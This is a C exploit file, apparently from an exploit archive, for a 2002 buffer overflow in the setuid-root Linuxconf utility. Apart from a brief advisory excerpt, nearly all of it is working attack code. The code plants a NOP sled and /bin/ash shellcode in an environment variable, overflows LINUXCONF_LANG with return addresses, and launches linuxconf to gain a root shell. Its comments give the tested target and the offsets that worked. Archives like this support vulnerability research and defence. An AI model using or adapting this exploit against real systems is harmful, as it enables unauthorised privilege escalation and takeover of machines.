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89 lines
No EOL
2.5 KiB
C
89 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/5585/info
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Linuxconf is a Linux configuration utility from Solucorp. It is typically installed as a setuid root utility for the management and configuration of Linux operating systems.
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A buffer overflow vulnerability has been reported for Linuxconf. The vulnerability is due to insufficent bounds checking of the LINUXCONF_LANG environment variable. An attacker who sets the LINUXCONF_LANG environment variable with an overly large string will be able to cause the buffer overflow condition.
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/*
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* This is an exploit for the linuxconf overflow issue.
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*
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* The detail of this hole was published on 08.28.2002 by
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* David Endler from www.idefense.com.
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*
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* Tested to work on Redhat 7.0 with linuxconf 1.25r3.
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* [The magic numbers that worked for me are: 980 500 2048 1]
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*
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* This is a classical example of stack smashing. Large portion
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* of code were ripped from Aleph1's. So, credits due to him.
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*
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* Flame or comment goes to: jinyean@hotmail.com
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*
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*/
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#include <stdlib.h>
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#include <unistd.h>
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#define DEFAULT_ALIGN 0
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#define DEFAULT_OFFSET 0
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#define DEFAULT_BUFFER_SIZE 980
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#define DEFAULT_EGG_SIZE 2048
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#define NOP 0x90
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char shellcode[]=
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"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89"
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"\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d\x56\x0d"
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"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
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"\xff\xff/bin/ash";
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unsigned long get_esp(void) {
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__asm__("movl %esp,%eax");
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}
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main(int argc, char *argv[]) {
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char *buff, *ptr, *egg;
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long *addr_ptr, addr;
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int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
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int i, eggsize=DEFAULT_EGG_SIZE, align=DEFAULT_ALIGN;
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if (argc>1) bsize=atoi(argv[1]);
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if (argc>2) offset=atoi(argv[2]);
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if (argc>3) eggsize=atoi(argv[3]);
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if (argc>4) align=atoi(argv[4]);
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if (!(buff=malloc(bsize))) {
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printf("Can't allocate memory.\n");
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exit(0);
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}
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if (!(egg=malloc(eggsize))) {
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printf("Can't allocate memory.\n");
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exit(0);
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}
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addr=get_esp()-offset;
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printf("Using address: 0x%x\n",addr);
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ptr=buff;
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addr_ptr=(long *)(ptr+align);
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for (i=0; i<bsize; i+=4)
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*(addr_ptr++)=addr;
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ptr=egg;
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for (i=0; i<eggsize-strlen(shellcode)-1; i++)
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*(ptr++)=NOP;
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for (i=0; i<strlen(shellcode); i++)
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*(ptr++)=shellcode[i];
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buff[bsize-1]='\0';
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egg[eggsize-1]='\0';
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memcpy(egg,"EGG=",4);
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putenv(egg);
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memcpy(buff,"LINUXCONF_LANG=",15);
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putenv(buff);
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execl("/sbin/linuxconf","linuxconf",NULL);
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} |